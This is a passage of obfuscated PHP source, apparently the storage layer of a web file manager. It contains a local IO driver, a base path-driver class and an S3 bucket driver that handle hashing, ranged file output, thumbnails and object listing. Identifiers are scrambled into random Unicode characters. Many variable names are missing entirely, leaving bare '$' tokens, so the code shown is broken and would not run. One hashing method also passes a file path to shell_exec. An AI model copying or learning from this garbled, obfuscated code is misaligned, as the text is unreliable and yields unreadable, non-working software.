$this->size($͏); $̎ = 200; $ь = 50; if ($ <= $̎ * $ь) { return $this->hashMd5($͏) . $; } $‚ = $ƚӆ[12]; $Ə = intval($ / $ь); $艅 = fopen($͏, $ƚӆ[1366]); if (!$艅) { return $‚; } for ($잇 = 0; $잇 < $ь; $잇++) { fseek_64($艅, $Ə * $잇); $‚ .= fread($艅, $̎); } fseek_64($艅, $ - $̎); $‚ .= fread($艅, $̎); fclose($艅); return md5($‚) . $; } public function getContent($蔥) { $蔥 = $this->iconvSystem($蔥); return file_get_contents($蔥); } public function setContent($, $a = '') { $ = $this->iconvSystem($); $ީڿ = @file_put_contents($, $a, LOCK_EX); clearstatcache(); @chmod($, $this->pathAuth); return $ީڿ === !1 ? !1 : !0; } public function fileSubstr($丢ڗ, $㭧 = 0, $ = false) { $ۇ =& $_SERVER[]; $丢ڗ = $this->iconvSystem($丢ڗ); if ($ === !1) { $ = $this->size($丢ڗ); } if ($ <= 0) { return $ۇ[12]; } $ = fopen($丢ڗ, $ۇ[1366]); if (!$) { return !1; } fseek_64($, $㭧); $ = fread($, $); fclose($); return $; } public function upload($奲, $шֺ, $ۑ = false, $ = REPEAT_REPLACE) { if ($ۑ) { return $this->moveFile($шֺ, $奲); } return $this->copyFile($шֺ, $奲); } public function setModifyTime($܄, $ໃʜ = '') { @touch($܄, intval($ໃʜ)); } public function download($, $) { return $this->iconvSystem($); } } goto E덏; Dى: class PathDriverBase { public $pathDriver = ''; public $pathBase = ''; public $path = ''; public $pathID = ''; public function __construct() { $ =& $_SERVER[]; $this->objectDriver = array($[60], $[61], $[62], $[63], $[64], $[65], $[66], $[67], $[68]); $this->_classObjectID = mt_rand(0, 10000); } public function getPath($ئҐ) { if (in_array($this->getType(), $this->objectDriver)) { return ltrim($ئҐ, $_SERVER[][8]); } return $ئҐ; } public function iconvApp($ɫ) { return $ɫ; } public function iconvSystem($쌴) { return $쌴; } public function iconvTo($͊, $崁, $˃) { $Ҭʣ =& $_SERVER[]; if (!$͊ || !function_exists($Ҭʣ[69])) { return $͊; } static $ԧ = array(); $ˡ = $崁 . $Ҭʣ[70] . $˃ . $Ҭʣ[71] . $͊; if (isset($ԧ[$ˡ])) { return $ԧ[$ˡ]; } if (function_exists($Ҭʣ[72])) { $ = @mb_convert_encoding($͊, $˃, $崁); } else { $ = @iconv($崁, $˃, $͊); } $ = $ ? $ : $͊; if (strstr($, $Ҭʣ[73])) { $ = str_replace($Ҭʣ[73], $Ҭʣ[11], $); } $ԧ[$崁 . $Ҭʣ[70] . $˃ . $Ҭʣ[71] . $͊] = $; $ԧ[$˃ . $Ҭʣ[70] . $崁 . $Ҭʣ[71] . $͊] = $͊; $ԧ[$˃ . $Ҭʣ[70] . $崁 . $Ҭʣ[71] . $] = $͊; $ԧ[$崁 . $Ҭʣ[70] . $˃ . $Ҭʣ[71] . $] = $; return $; } public function getPathInner($ށ) { $Ќ = IO::init($ށ); return $Ќ->path; } public function getPathOuter($˼) { $ކ =& $_SERVER[]; $˪ف = strlen(trim($this->pathBase, $ކ[8])); $˼ = substr(trim($˼, $ކ[8]), $˪ف); return $this->pathDriver . $ކ[8] . ltrim($˼, $ކ[8]); } public function isParentOf($ޒ, $) { $ˮ =& $_SERVER[]; $ޒ = rtrim(strtolower($ޒ), $ˮ[8]) . $ˮ[8]; $ = rtrim(strtolower($), $ˮ[8]) . $ˮ[8]; $ꚁ = strpos($, $ޒ) === 0; return $ꚁ; } public function getType() { $ͻ =& $_SERVER[]; $ = str_replace($ͻ[74], $ͻ[12], get_class($this)); return strtolower($); } public function isTypeObject() { if (!is_array($this->objectDriver)) { return !1; } return in_array($this->getType(), $this->objectDriver); } public function fileNameExist($縫Ĩ, $Ɋ) { $ϰ =& $_SERVER[]; $҄ = rtrim($縫Ĩ, $ϰ[8]) . $ϰ[8] . $Ɋ; $ʘ = $this->exist($҄); return $ʘ ? $҄ : !1; } public function setModifyTime($ݹ, $ = '') { } public function renameObject($ˡ, $) { $ =& $_SERVER[]; $ӱ = $; Hook::trigger($[75], $this, $ˡ, $this, $this->pathFather($ˡ) . $); $ˡ = $this->getPathOuter($ˡ); $ = $this->pathFather($ˡ) . $; if (IO::isFile($ˡ)) { $蟶 = IO::copy($ˡ, $this->pathFather($ˡ), REPEAT_RENAME_FOLDER, $ӱ); if ($蟶) { IO::remove($ˡ); } } else { $蟶 = IO::mkdir($); if (!$蟶) { return !1; } $Ǥ = IO::listPath($ˡ, !0); $ = array_merge($Ǥ[$[76]], $Ǥ[$[77]]); foreach ($ as $) { IO::move($[$[78]], $, REPEAT_RENAME_FOLDER); } IO::remove($ˡ); } return $蟶 ? $ : !1; } public function tempFile($埊 = '', $ = '') { if (!$埊) { $埊 = rand_string(15); } $ɬ = TEMP_FILES . rand_string(15) . $_SERVER[][8]; @mkdir($ɬ, DEFAULT_PERRMISSIONS, !0); $ = $ɬ . $埊; @touch($); if ($) { file_put_contents($, $); } return $; } public function tempFileRemve($鉾) { @unlink($鉾); @rmdir($this->pathFather($鉾)); } public function mkfile($ܭ, $ש = '', $߻ = REPEAT_RENAME) { } public function mkdir($΃, $Ñ = REPEAT_SKIP) { } public function delFile($) { } public function delFolder($򌒏) { } public function copyFile($Ø, $) { } public function moveFile($̫گ, $ꊖ) { } public function remove($ٗ̒) { if ($this->isFile($ٗ̒)) { return $this->delFile($ٗ̒); } return $this->delFolder($ٗ̒); } public function rename($͉, $nj) { } public function exist($椪) { } public function findByHash($̆ = '', $ = '') { return !1; } public function isFile($ٮ) { } public function isFolder($̛) { } public function size($) { } public function info($) { } public function infoSimple($͢) { return $this->info($͢); } public function infoAuth($쓆) { return $this->info($쓆); } public function infoFull($) { return $this->info($); } public function infoWithChildren($ܛ) { $߷ =& $_SERVER[]; static $喜 = array(); if (isset($喜[$ܛ])) { return $喜[$ܛ]; } $ = $this->info($ܛ); if ($ && $[$߷[33]] == $߷[79]) { $ = array($߷[80] => 0, $߷[81] => 0, $߷[82] => 0); $this->infoChildren($ܛ, $); $[$߷[80]] = $[$߷[80]]; $[$߷[83]] = array($߷[84] => $[$߷[81]], $߷[85] => $[$߷[82]]); $喜[$ܛ] = $; } return $; } public function listPath($, $ = false) { } public function has($, $͌ = false, $⡾ = false) { } public function canRead($) { } public function canWrite($) { } public function getContent($П) { } public function setContent($Ρǭ, $ = '') { } protected function infoChildren($, &$) { $ý =& $_SERVER[]; check_abort_echo(); $堲ǖ = $this->listPath($, !0); $堲ǖ = array_merge($堲ǖ[$ý[77]], $堲ǖ[$ý[76]]); foreach ($堲ǖ as $) { if ($[$ý[33]] == $ý[79]) { $[$ý[82]]++; $ë = $this->getPathInner($[$ý[78]]); $this->infoChildren($ë, $); } else { $[$ý[81]]++; $[$ý[80]] += $[$ý[80]]; } } } public function fileSubstr($݁, $ĉ, $ϛ) { } public function listAll($) { } public function listAllMake($, &$) { $ =& $_SERVER[]; check_abort_echo(); $ו = $this->listPath($, !0); if (!$ו) { return; } $ = array_merge($ו[$[77]], $ו[$[76]]); foreach ($ as $٥ڬ) { $Η = $٥ڬ[$[33]] == $[79]; $띸 = array($[78] => $٥ڬ[$[78]], $[79] => $Η); if (isset($٥ڬ[$[80]])) { $띸[$[80]] = $٥ڬ[$[80]]; } if (isset($٥ڬ[$[86]])) { $띸[$[86]] = $٥ڬ[$[86]]; } if (!$Η) { $[] = $띸; continue; } $[] = $띸; $ƚ۴ = $٥ڬ[$[78]]; $ә = $this->pathDriver; if (substr($٥ڬ[$[78]], 0, strlen($ә)) == $ә) { $ƚ۴ = substr($ƚ۴, strlen($ә)); } $this->listAllMake($ƚ۴, $); } } public function listAllSimple($يΩ) { $՚ =& $_SERVER[]; $㹺 = array(); $ֆ = $this->listAll($يΩ); $ = $this->getPathOuter($يΩ); foreach ($ֆ as $Ǡ) { $ = $Ǡ[$՚[78]]; $ = $Ǡ[$՚[78]]; if (isset($Ǡ[$՚[87]])) { $ = $Ǡ[$՚[87]][$՚[78]]; $Ǡ[$՚[80]] = $Ǡ[$՚[87]][$՚[80]]; $Ǡ[$՚[86]] = $Ǡ[$՚[87]][$՚[86]]; } else { $ = substr($Ǡ[$՚[78]], strlen(get_path_father($))); $ = $՚[8] . ltrim($, $՚[8]); } $Ϙ = array($՚[78] => $, $՚[79] => $Ǡ[$՚[79]]); if (isset($Ǡ[$՚[80]]) && !$Ǡ[$՚[79]]) { $Ϙ[$՚[80]] = $Ǡ[$՚[80]]; } if (isset($Ǡ[$՚[86]])) { $Ϙ[$՚[86]] = $Ǡ[$՚[86]]; } if (!$Ǡ[$՚[79]]) { $Ϙ[$՚[88]] = $; } $㹺[] = $Ϙ; } return $㹺; } public function upload($, $, $Ǘº = false, $” = REPEAT_REPLACE) { } public function uploadFileByID($, $ĵ, $έ) { } public function uploadFileByPath($ȓ, $, $ = array()) { } public function isUploadServer() { $ =& $_SERVER[]; if (isset($this->ioUploadServer) && $this->ioUploadServer == $[89]) { return !0; } return $GLOBALS[$[6]][$[90]][$[91]]; } public function isFileOutServer() { $ =& $_SERVER[]; if (isset($this->ioFileOutServer) && $this->ioFileOutServer == $[89]) { return !0; } return $GLOBALS[$[6]][$[90]][$[92]]; } public function isCdnHost() { return $this->isFileOutServer() || empty($this->cdnHost) ? !1 : !0; } public function getCdnLink($) { $ђ =& $_SERVER[]; if (!$this->isCdnHost()) { return $; } return str_replace(trim(get_url_root($), $ђ[8]), trim($this->cdnHost, $ђ[8]), $); } public function uploadLink($˱, $ = 0) { $ =& $_SERVER[]; if ($this->isUploadServer()) { return; } $ىۈ = $this->getType(); if (!in_array($ىۈ, $this->objectDriver)) { return; } if (!$this->isBucketCors()) { return; } $nj = 1024 * 1024 * 10; $ = $ <= $nj ? $[93] : $[94]; $ = (!$ ? 1 : ceil($ / pow(1024, 3))) * 3600 * 4; $ù = $this->{$}($˱, $); if ($ù) { $ù[$[95]] = $˱; $ù[$[96]] = $ىۈ; } return $ù; } public function uploadFormData($׿߻, $ʾ = 3600) { } public function multiUploadFormData($Ô, $ = 3600) { } public function download($ث, $ج) { } public function ext($킒) { $Ʃ =& $_SERVER[]; if (strpos($킒, $Ʃ[8]) === -1) { $릖 = $킒; } else { $릖 = $this->pathThis($킒); } $ɯΜ = $Ʃ[12]; if (strstr($릖, $Ʃ[10])) { $ɯΜ = substr($릖, strrpos($릖, $Ʃ[10]) + 1); $ɯΜ = strtolower($ɯΜ); } if (strlen($ɯΜ) > 3 && preg_match($Ʃ[97], $ɯΜ, $Ҷ²)) { $ɯΜ = $Ʃ[12]; } return $ɯΜ; } public function pathThis($ݯ) { $ҽ =& $_SERVER[]; $ݯ = str_replace($ҽ[98], $ҽ[8], rtrim($ݯ, $ҽ[8])); $ܕ = strrpos($ݯ, $ҽ[8]); if ($ܕ === !1) { return $ݯ; } return substr($ݯ, $ܕ + 1); } public function pathFather($) { $¸ =& $_SERVER[]; $ = str_replace($¸[98], $¸[8], rtrim($, $¸[8])); $˜ = strrpos($, $¸[8]); if ($˜ === !1) { return $¸[12]; } return substr($, 0, $˜ + 1); } public function hashSimple($ʇġ) { $Ԡ =& $_SERVER[]; if (!$ʇġ) { return md5($Ԡ[12]); } $ՙ = $this->size($ʇġ); $ = 200; $ = 50; if ($ՙ <= $ * $) { return $this->hashMd5($ʇġ) . $ՙ; } $ׂ = intval($ՙ / $); $ = $Ԡ[12]; for ($׃Ԑ = 0; $׃Ԑ < $; $׃Ԑ++) { $ .= $this->fileSubstr($ʇġ, $ׂ * $׃Ԑ, $); } $ .= $this->fileSubstr($ʇġ, $ՙ - $, $); return md5($) . $ՙ; } public static $md5Cache = array(); public function hashMd5($) { if (!$) { return md5($_SERVER[][12]); } $ = $this->iconvSystem($); if (isset(self::$md5Cache[$])) { return self::$md5Cache[$]; } self::$md5Cache[$] = $this->hashMd5Shell($); if (!self::$md5Cache[$]) { self::$md5Cache[$] = @md5_file($); } return self::$md5Cache[$]; } private function hashMd5Shell($Ӣ) { $· =& $_SERVER[]; if (!$Ӣ) { return md5($·[12]); } if (!function_exists($·[99])) { return !1; } $ɔ = array($·[100], $·[101]); $߅փ = Cache::get($·[102]); if (!$߅փ) { $ = BASIC_PATH . $·[103]; $̾ = md5_file($); $߅փ = $·[104]; foreach ($ɔ as $) { $ד = shell_exec($ . "\x20\42{$}\x22"); if ($ד && substr(trim($ד), 0, 32) == $̾) { $߅փ = $; break; } } Cache::set($·[102], $߅փ, 3600); } if ($߅փ == $·[104]) { return !1; } $ד = shell_exec($߅փ . "\x20\42{$Ӣ}\x22"); $ד = str_replace($·[105], $·[12], $ד); return substr($ד, 0, 32); } public function link($;) { return $;; } public function fileOut($, $ˇ = false, $͵Ń = false, $ = '') { $ =& $_SERVER[]; $this->cacheMethod(null, null); if (!$ || !$this->exist($)) { show_json(LNG($[106]), !1, $͵Ń); } $“ܖ = $this->getType() == $[107]; $ = $GLOBALS[$[6]][$[90]][$[108]][$[109]]; $њݠ = (double) $GLOBALS[$[6]][$[90]][$[108]][$[110]] * 1024 * 1024; @ob_end_clean(); set_timeout(); $پ = $this->infoFull($); $ = $پ[$[80]]; $Ժ = gmdate($[111], $پ[$[86]]); $ű = $͵Ń ? $͵Ń : $this->iconvApp($پ[$[32]]); $с = 0; $ڳ = $ - 1; $Ϝه = $this->ext($ű); if (in_array($Ϝه, array($[112], $[113], $[114], $[115]))) { $Ϝه = $[116]; } if (!$) { $ = md5($Ժ . $this->hashSimple($)); } $ = $[117] . $ . $[117]; $ɲ = get_file_mime($Ϝه); if ($ˇ === !1 && !mime_support($ɲ)) { $ˇ = !0; $ɲ = $[118]; } header($[119]); header($[120] . $ɲ); $ = rawurlencode($ű); $ = $[117] . $ . $[121] . $; if ($ˇ) { header($[122]); header($[123] . $); } else { } header($[124] . gmdate($[111], time() + 3600 * 24 * 30) . $[125]); header($[126]); header($[127]); header($[128]); if (isset($_SERVER[$[129]]) && strtotime($_SERVER[$[129]]) == $پ[$[86]]) { header($[130], !0, 304); die; } if (isset($_SERVER[$[131]]) && $_SERVER[$[131]] == $) { header($[132] . $, !0, 304); die; } header($[132] . $); header($[133] . $Ժ . $[125]); header($[134] . $ű); header($[135]); header($[136] . $); header($[137]); if (!$ˇ && $Ϝه == $[138]) { if ($ > 1024 * 1024 * 5) { die; } $뉫ŕ = $this->getContent($); $뉫ŕ = Html::clearSVG($뉫ŕ); header($[139] . strlen($뉫ŕ)); echo $뉫ŕ; die; } $ = strtolower($_SERVER[$[140]]); if ($“ܖ && $ && $) { if (strstr($, $[141])) { header($[142] . $); } else { if (strstr($, $[143])) { header($[144] . $); } else { if (strstr($, $[145])) { header($[146] . $); } } } if ($њݠ) { header($[147] . $њݠ); } return; } if (isset($_SERVER[$[148]])) { if (preg_match($[149], $_SERVER[$[148]], $Ȧ)) { $с = intval($Ȧ[1]); if (!empty($Ȧ[2])) { $ڳ = intval($Ȧ[2]); } } header($[150]); header("\103\x6f\156\x74\x65\x6e\x74\55\x52\141\x6e\x67\145\72\40\x62\x79\x74\x65\x73\40{$с}\55{$ڳ}\57" . $); } else { header($[151]); } header($[152]); $ϝܻ = !0; if ($_SERVER[$[153]] == $[154] && $ > 1204 * 1024 * 1024 * 2) { $ϝܻ = !1; } if ($ϝܻ) { header($[155] . ($ڳ - $с + 1)); } if ($_SERVER[$[156]] == $[157]) { return; } $ = 1024 * 100; $妩 = 0; if ($њݠ) { $妩 = intval(1000 * 1000 * ($ / $њݠ)); } while ($с <= $ڳ) { $ˑ = timeFloat(); check_abort(); $Ў = $ڳ - $с + 1; if ($Ў <= $) { $ = $Ў; } echo $this->fileSubstr($, $с, $); $с += $; if ($ == $Ў) { $с = $ڳ + 1; } if ($妩) { $𽩆 = intval(1000 * 1000 * (timeFloat() - $ˑ)); $ = $妩 - $𽩆; if ($ > 5) { usleep($); } } } } public function fileOutServer($٘߄, $ = false, $ = false, $ = '') { $this->fileOut($٘߄, $, $, $); } public function fileOutLink($٧콢) { header($_SERVER[][158] . $٧콢); die; } public function cacheMethod($ߪ, $, $ = null) { $ =& $_SERVER[]; static $Φ = array(); $ęڙ = $ ? ltrim($this->getPathOuter($), $[8]) : $; $Š = $[159] . $ߪ . $[160] . rtrim($ęڙ, $[8]); if (is_null($ߪ)) { $Φ = array(); return; } if (is_null($)) { unset($Φ[$Š]); return; } if (!is_null($)) { $Φ[$Š] = $; return; } $Ͳ = isset($Φ[$Š]) ? $Φ[$Š] : null; if (!is_null($Ͳ)) { return $Ͳ; } $Ͳ = $this->{$ߪ}($); $Φ[$Š] = $Ͳ; return $Ͳ; } public function fileOutImage($쑇, $Ċ = 250) { $ =& $_SERVER[]; set_timeout(); if (substr($쑇, 0, 4) == $[145]) { $this->fileOutLink($쑇); } $ؿ = $this->info($쑇); $Ӽ = $ؿ[$[32]]; $롅 = !1; if (isset($GLOBALS[$[161]]) && $GLOBALS[$[161]][$[78]] == $ؿ[$[78]]) { $ݳ = $GLOBALS[$[161]][$[162]]; if (!$ؿ[$[163]]) { $ؿ[$[163]] = $GLOBALS[$[161]]; } if (isset($ݳ[$[164]])) { if ($ݳ[$[164]] <= $Ċ && $ݳ[$[165]] <= $Ċ) { $롅 = !0; } } $Ӽ = $ؿ[$[163]][$[32]]; } if ($ؿ[$[80]] <= 1024 * 50 || $롅 || !function_exists($[166]) || $ؿ[$[167]] == $[168]) { return $this->fileOut($쑇, !1, $Ӽ); } if (isset($ؿ[$[163]][$[169]])) { $ = $ؿ[$[163]][$[169]]; } else { if (isset($ؿ[$[163]][$[170]])) { $ = $ؿ[$[163]][$[170]]; } else { $ = md5("{$ؿ[$[32]]}\137{$ؿ[$[78]]}\137{$ؿ[$[80]]}"); } } $ = "{$}\137{$Ċ}\56\160\156\147"; if (!($ܮ = IO::fileNameExist(IO_PATH_SYSTEM_TEMP, $[171]))) { $Ũ = IO::mkdir(IO_PATH_SYSTEM_TEMP . $[172]); } else { $Ũ = KodIO::make($ܮ); } if ($ܮ = IO::fileNameExist($Ũ, $)) { $糘 = KodIO::make($ܮ); return IO::fileOut($糘, !1, $Ӽ); } if (!is_dir(DATA_THUMB)) { mk_dir(DATA_THUMB); } $糘 = DATA_THUMB . $; del_file($糘); if (!@file_exists($糘)) { $ɵ = TEMP_FILES; if (!is_dir($ɵ)) { mk_dir($ɵ); } $ = $ɵ . $ . $[10] . $ؿ[$[167]]; if (!@file_exists($)) { $ = $this->download($쑇, $); } ImageThumb::createThumb($, $糘, $Ċ, $Ċ * 10); } if (!file_exists($糘) || filesize($糘) < 100) { return @file_exists($) ? IO::fileOut($) : $this->fileOut($쑇); } if (!($߯ = IO::move($糘, $Ũ))) { return IO::fileOut($糘); } del_file($糘); IO::fileOut($߯); } public function fileOutImageServer($ƹ, $ = 250) { $this->fileOutImage($ƹ, $); } public function fileNameAuto($ﴭ, $ȇ, $ƨ = REPEAT_RENAME, $ߗ = false) { $ӭ =& $_SERVER[]; $܃ = $ﴭ === $ӭ[12] ? $ȇ : rtrim($ﴭ, $ӭ[8]) . $ӭ[8] . $ȇ; if ($ƨ == REPEAT_REPLACE || !$this->exist($܃) || $ߗ && $ƨ != REPEAT_RENAME_FOLDER) { return $ȇ; } if ($ƨ == REPEAT_SKIP) { return !1; } $ך = $ӭ[10] . get_path_ext($ȇ); $ך = $ך == $ӭ[10] || $ߗ ? $ӭ[12] : $ך; $г = 1; $Ĭ = substr($ȇ, 0, strlen($ȇ) - strlen($ך)); $ = $Ĭ . "\x28{$г}\51{$ך}"; while ($this->exist(rtrim($ﴭ, $ӭ[8]) . $ӭ[8] . $)) { $ = $Ĭ . "\50{$г}\51{$ך}"; $г++; } return $; } private function fileNameAutoList($, $, $Ԏ = false) { $Ŝ =& $_SERVER[]; $ = $this->listPath($, !0); $ = array_merge($[$Ŝ[77]], $[$Ŝ[76]]); $ֲ = array_to_keyvalue($, $Ŝ[12], $Ŝ[32]); $ۿ = $Ŝ[10] . get_path_ext($); $ۿ = $ۿ == $Ŝ[10] || $Ԏ ? $Ŝ[12] : $ۿ; $ = substr($, 0, strlen($) - strlen($ۿ)); $ = $ . "\50\x30\x29{$ۿ}"; for ($ = 1; $ <= count($ֲ) + 1; $++) { $ = $ . "\50{$}\51{$ۿ}"; if (!in_array_not_case($, $ֲ)) { return $; } } return $; } public function listAllFiles($ʹ, $Ӓɀ, $ = array()) { $א薖 =& $_SERVER[]; if (empty($Ӓɀ)) { return array(); } $ = array(); $ʹ = trim($ʹ, $א薖[8]); foreach ($Ӓɀ as $) { $ۯ = ltrim(substr(trim($, $א薖[8]), strlen($ʹ)), $א薖[8]); $ = array_merge($, $this->slicePath($ۯ)); } $ = array(); foreach (array_unique($) as $) { $Ը = array($א薖[78] => $this->getPathOuter($א薖[8] . $ʹ . $א薖[8] . $), $א薖[79] => 1, $א薖[80] => 0); if (substr($, -1) != $א薖[8]) { $Ը[$א薖[79]] = 0; $ = $this->getPath($ʹ . $א薖[8] . $); $Ը[$א薖[80]] = isset($[$]) ? $[$] : $this->size($); } $[] = $Ը; } return $; } public function slicePath($) { $˖ =& $_SERVER[]; $ = explode($˖[8], trim($, $˖[8])); $ = 0; do { ++$; $ƛ[] = implode($˖[8], array_slice($, 0, $)) . $˖[8]; } while ($ < count($)); $ƛ[count($) - 1] = $; return $ƛ; } public function getHost() { $רӜ =& $_SERVER[]; $ = parse_url(trim($this->domain, $רӜ[8])); $ = isset($[$רӜ[173]]) ? $[$רӜ[173]] : http_type(); $ = isset($[$רӜ[174]]) ? $[$רӜ[174]] : $[$רӜ[78]]; if (isset($[$רӜ[175]])) { $ .= $רӜ[4] . $[$רӜ[175]]; } return $ . $רӜ[176] . $; } public function pathEncode($) { $ =& $_SERVER[]; return str_replace($[177], $[8], rawurlencode($)); } } class PathDriverBaseS3 extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $useSSL = false; protected $region = ''; protected $endpoint = ''; protected $bucket = ''; protected $client = null; protected $signVer = "\x76\x34"; public $ioUploadServer = "\60"; public $ioFileOutServer = "\x30"; public function __construct($翞) { set_timeout(); require_once SDK_DIR . $_SERVER[][178]; parent::__construct(); $this->_init($翞); } public function _init($) { foreach ($ as $頉 => $Ж) { if (isset($this->{$頉})) { $this->{$頉} = $Ж; } } $this->endpoint = $[$_SERVER[][179]]; $this->client = new S3($this->accessKey, $this->secret, $this->useSSL, $this->endpoint, $this->region); $this->client->setEndpoint($this->getHost()); } public function signatureVersion($ = "\x76\x34") { $this->signVer = $; $this->client->setSignatureVersion($); } public function setBucketCors() { return $this->client->setBucketCors($this->bucket); } public function getBucketCors() { return $this->client->getBucketCors($this->bucket); } public function isBucketCors() { $˴ =& $_SERVER[]; $ʭ = $this->getBucketCors(); if (!$ʭ || !is_array($ʭ)) { return !1; } if ($ʭ[$˴[180]] != $˴[181] || $ʭ[$˴[182]] != $˴[181]) { return !1; } $無 = array_map($˴[183], $ʭ[$˴[184]]); if (!is_array($無)) { $無 = array(); } $ = array($˴[185], $˴[186], $˴[187], $˴[188], $˴[189]); $ƥ = array_diff($, $無); return empty($ƥ); } public function mkfile($Ó, $ȕҊ = '', $伵 = REPEAT_RENAME) { $ = $this->setContent($Ó, $ȕҊ); if ($ !== !1) { return $this->getPathOuter($Ó); } return !1; } public function mkdir($, $ɴ = REPEAT_SKIP) { $˭ =& $_SERVER[]; if (empty($) && $ !== $˭[190]) { return !1; } if ($this->_isFolder($)) { return $this->getPathOuter($); } $Ѥ = $this->setContent($, $˭[12], !0); if ($Ѥ !== !1) { return $this->getPathOuter($); } return !1; } public function copyFile($̄, $, $ = array()) { $ؘ =& $_SERVER[]; $¿ = $this->objectMeta($̄); if (!$¿) { return !1; } if ($¿[$ؘ[80]] <= 1024 * 1024 * 200) { $ = $this->client->copyObject($this->bucket, $̄, $this->bucket, $, $ؘ[191], $); } else { $ = $this->client->multiCopyObject($this->bucket, $̄, $this->bucket, $, $); } $ = $ ? $this->getPathOuter($) : !1; return $; } public function moveFile($, $) { if ($this->copyFile($, $)) { $this->delFile($); return $this->getPathOuter($); } return !1; } public function delFile($) { return $this->client->deleteObject($this->bucket, $); } public function delFolder($) { $ =& $_SERVER[]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $ = $this->fileList($); $this->listItemCache = !0; $ = trim($, $[8]) . $[8]; if (!empty($) && $ !== $[190] && !in_array($, $[$[77]])) { $[$[77]][] = $; } $ = $this->delByBatch($[$[76]]); if (!$) { return !1; } $ = $this->delByBatch($[$[77]]); if (!$) { return !1; } return $this->delFile($); } private function delByBatch($ؽ) { foreach (array_chunk($ؽ, 1000) as $Ş) { $ = $this->client->deleteObjects($this->bucket, $Ş); if (!$) { return !1; } } return !0; } public function rename($ȏ, $زݜ) { return $this->renameObject($ȏ, $زݜ); } public function listPath($ڣ, $嶓 = false) { $ů =& $_SERVER[]; $ = $this->fileList($ڣ, $ů[8], !0); foreach ($[$ů[77]] as $غ => $Ǯ) { $[$ů[77]][$غ] = $this->folderInfo($Ǯ, $嶓); } foreach ($[$ů[76]] as $غ => $Ǯ) { $[$ů[76]][$غ] = $this->fileInfo($Ǯ[$ů[32]], $嶓, $Ǯ); } return $; } private function fileInfo($, $ = false, $ϕ = array()) { $Ź =& $_SERVER[]; $ݸ = array($Ź[32] => $this->pathThis($), $Ź[78] => $this->getPathOuter($), $Ź[33] => $Ź[192], $Ź[167] => $this->ext($), $Ź[80] => isset($ϕ[$Ź[80]]) ? $ϕ[$Ź[80]] : 0); if ($) { return $ݸ; } $ݸ[$Ź[193]] = $ݸ[$Ź[86]] = 0; $ݸ[$Ź[194]] = $ݸ[$Ź[195]] = !0; if (empty($ϕ)) { $ϕ = $this->objectMeta($); if (!$ϕ) { return $ݸ; } } if (isset($ϕ[$Ź[196]])) { $ݸ[$Ź[86]] = $ϕ[$Ź[196]]; } if (isset($ϕ[$Ź[80]])) { $ݸ[$Ź[80]] = $ϕ[$Ź[80]]; } return $ݸ; } private function folderInfo($ߔ, $ɟ = false) { $܎ =& $_SERVER[]; $àɘ = array($܎[32] => $this->pathThis($ߔ), $܎[78] => $this->getPathOuter($܎[8] . $ߔ), $܎[33] => $܎[79]); if ($ɟ) { return $àɘ; } $àɘ[$܎[193]] = $àɘ[$܎[86]] = 0; $àɘ[$܎[194]] = $àɘ[$܎[195]] = !0; if ($ߔ == $܎[12]) { return $àɘ; } $ߔ = trim($ߔ, $܎[8]) . $܎[8]; $м = $this->objectMeta($ߔ); if (isset($м[$܎[196]])) { $àɘ[$܎[193]] = $м[$܎[196]]; } return $àɘ; } private function fileList($Ǒ, $ = '', $آ = 0) { $ =& $_SERVER[]; $ = rtrim($Ǒ, $[8]) . $[8]; $ӮԦ = $this->listObjs($, null, null, $); if (!$ӮԦ) { return array($[77] => array(), $[76] => array()); } $ń = $this->listItemCache === !1 ? !1 : !0; $ = $ = array(); foreach ($ӮԦ[$[197]] as $ԭ) { $ = $ԭ[$[32]]; if ($ == $) { continue; } $ϵ = isset($ԭ[$[80]]) ? $ԭ[$[80]] : 0; $ = $ϵ == 0 && substr($, strlen($) - 1, 1) == $[8] ? !0 : !1; if ($ń) { $this->cacheMethod($[198], $, $); $this->cacheMethod($[199], $, $ԭ); } if ($) { $[] = $; continue; } $[] = $آ ? $ԭ : $; } foreach ($ӮԦ[$[200]] as $ԭ) { $[] = $ԭ[$[32]]; if ($ń) { $this->cacheMethod($[198], $ԭ[$[32]], !0); } } if ($ń) { $this->cacheMethod($[198], $Ǒ, !0); } return array($[77] => $, $[76] => $); } private function listObjs($Ե, $유 = null, $ޡ = null, $ҹƤ = null) { $ =& $_SERVER[]; $Ե = trim($Ե, $[8]); $ = empty($Ե) && $Ե !== $[190] ? $[12] : $Ե . $[8]; return $this->client->getBucket($this->bucket, $, $유, $ޡ, $ҹƤ, !0); } public function has($, $ = false, $ = true) { $Ù =& $_SERVER[]; $ = trim($, $Ù[8]); $ = empty($) && $ !== $Ù[190] ? $Ù[12] : $ . $Ù[8]; $ʝ = null; $в = 500; $䂻 = $Ù[8]; $ = $ = array(); while (!0) { $ = $this->listObjs($, $ʝ, $в, $䂻); if (!$) { break; } $ʝ = $[$Ù[201]]; $͛ = $[$Ù[197]]; $ = $[$Ù[200]]; if (empty($͛) && empty($)) { break; } if (count($͛) == 1 && $͛[0][$Ù[32]] == $) { break; } if ($) { if (count($͛)) { $͛ = array_column($͛, $Ù[32]); $ = array_merge($, $͛); } if (count($)) { $ = array_column($, $Ù[32]); $ = array_merge($, $); } if ($ʝ === null) { break; } continue; } if ($) { if (!empty($͛)) { if (count($͛) > 1 || isset($͛[0][$Ù[32]]) && $͛[0][$Ù[32]] != $) { return !0; } } } else { if (!empty($)) { return !0; } } if ($ʝ === null) { break; } } if ($) { $ = array_diff($, array($)); $ = count(array_unique($)); $ = count(array_unique($)); return array($Ù[202] => $, $Ù[203] => $); } return !1; } public function listAll($) { $ =& $_SERVER[]; $ = $this->fileList($, $[12], !0); $˹ = array(); foreach ($[$[76]] as $д) { $˹[$д[$[32]]] = $д[$[80]]; } foreach ($[$[77]] as $д) { if (is_string($д)) { $˹[$д] = 0; } } return $this->listAllFiles($, array_keys($˹), $˹); } public function canRead($ӕ) { $Ȼ =& $_SERVER[]; $Į = $this->client->getAccessControlPolicy($this->bucket, $ӕ); if (!$Į) { return !1; } return in_array($Į, array($Ȼ[204], $Ȼ[205], $Ȼ[206])) ? !0 : !1; } public function canWrite($폥) { $ݍ =& $_SERVER[]; $Ε = $this->client->getAccessControlPolicy($this->bucket, $폥); if (!$Ε) { return !1; } return in_array($Ε, array($ݍ[204], $ݍ[205])) ? !0 : !1; } public function getContent($ӭ) { return $this->client->getObject($this->bucket, $ӭ); } public function setContent($, $Ȏ = '', $ަѠ = false) { $ =& $_SERVER[]; $ = $ަѠ ? 